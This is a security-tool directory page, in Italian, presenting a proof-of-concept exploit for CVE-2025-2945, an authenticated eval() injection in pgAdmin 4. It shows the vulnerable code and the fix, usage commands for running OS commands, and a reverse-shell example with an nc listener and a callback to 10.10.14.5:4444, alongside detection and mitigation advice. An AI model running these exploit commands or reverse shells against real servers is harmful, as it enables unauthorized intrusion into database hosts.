Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2945-pgAdmin-RCE — # PoC per CVE-2025-2945 — RCE tramite iniezione eval() autenticata in pgAdmin 4, CVSS 9.9 | Kitploit
Strumenti/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

# PoC per CVE-2025-2945 — RCE tramite iniezione eval() autenticata in pgAdmin 4, CVSS 9.9

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2945 — Esecuzione di codice remoto nel Query Tool di pgAdmin 4

CVSS 3.1: 9.9 (Critico) · Versioni interessate: pgAdmin 4 8.10 – 9.1 · Corretto in: 9.2 (4 aprile 2025) CWE-95 (Neutralizzazione impropria delle direttive nel codice valutato dinamicamente / Iniezione in eval)

Una proof-of-concept per CVE-2025-2945, una vulnerabilità di esecuzione di codice remoto autenticata nel Query Tool di pgAdmin 4. Un flag booleano di stato della transazione (query_commited) viene passato direttamente a eval() di Python invece di essere analizzato come booleano, consentendo a un utente autenticato di eseguire codice Python arbitrario — e, di conseguenza, comandi di sistema operativo arbitrari — con i privilegi del processo del servizio pgAdmin. Lo stesso anti-pattern è presente una seconda volta nel modulo Cloud Deployment, nel provider Google (high_availability).

Un'analisi tecnica completa che copre la causa principale, la logica di sfruttamento, le linee guida per il rilevamento e la mitigazione è disponibile qui: khashayarnazarkardeh.com — Field Notes


Riepilogo della vulnerabilità

Codice vulnerabile (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Codice corretto (pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

La vulnerabilità richiede una sessione pgAdmin autenticata e una transazione del Query Tool associata a un server di database già registrato nell'account di destinazione. Entrambe sono precondizioni comuni nelle implementazioni reali, dove pgAdmin è tipicamente preconfigurato con una o più connessioni a server salvate.

Requisiti

  • Python 3.8+
  • Un account web pgAdmin valido (--username / --password)
  • Credenziali per un server di database già registrato in quell'account pgAdmin (--db-user / --db-password / --db-name)
  • Target che esegue pgAdmin 4 tra la versione 8.10 e 9.1 (inclusa)

Installazione

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Utilizzo

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <target> --port 80 \
    --username <pgadmin-email> --password <pgadmin-password> \
    --db-user <db-user> --db-password <db-password> --db-name <db-name> \
    --cmd id

Modalità di payload (sceglierne una)

FlagDescrizione
--cmd COMMANDEsegue un singolo comando di sistema operativo tramite os.system()
--reverse-shell HOST:PORTAvvia una reverse shell basata su named pipe verso un listener sotto il tuo controllo
--raw-payload EXPRPassa un'espressione Python grezza direttamente al sink vulnerabile eval()

Esempio — reverse shell

root@kitploit:~
# Sul tuo host di attacco, in un terminale separato:
nc -lvnp 4444

# Esegui l'exploit:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Opzioni complete

root@kitploit:~
python3 CVE-2025-2945.py --help

Rilevamento

I difensori dovrebbero monitorare:

  • Richieste POST verso /sqleditor/query_tool/download/<trans_id> o /cloud/deploy dove query_commited / high_availability è qualsiasi cosa diversa da un letterale "true", "false", "1" o "0".
  • Primitive di esecuzione Python (__import__, os.system, subprocess, eval, exec, open() presenti in uno dei due parametri.
  • Processi figli inattesi generati dall'account di servizio pgAdmin, in particolare interpreti di shell o utilità di rete.

Mitigazione

Aggiornare a pgAdmin 4 9.2 o successivo. La patch è una correzione minima e a basso rischio di coercizione booleana. Dove l'applicazione immediata della patch non è possibile, limitare l'accesso di rete a pgAdmin a reti autenticate e fidate, e disabilitare il modulo Cloud Deployment per gli account che non lo richiedono.

Riferimenti

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • Issue pgAdmin #8603
  • Commit di correzione — 75be0bc

Autore

Khashayar Nazarkardeh — Leader in Cybersecurity e AI Security khashayarnazarkardeh.com · @Khashayarnzk

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, ricerca e scopi educativi. Eseguirlo contro qualsiasi sistema senza un'autorizzazione esplicita e documentata dal proprietario del sistema è illegale nella maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Utilizzando questo script accetti di essere l'unico responsabile di garantire di avere il permesso di testare il target.

Scarica lo strumento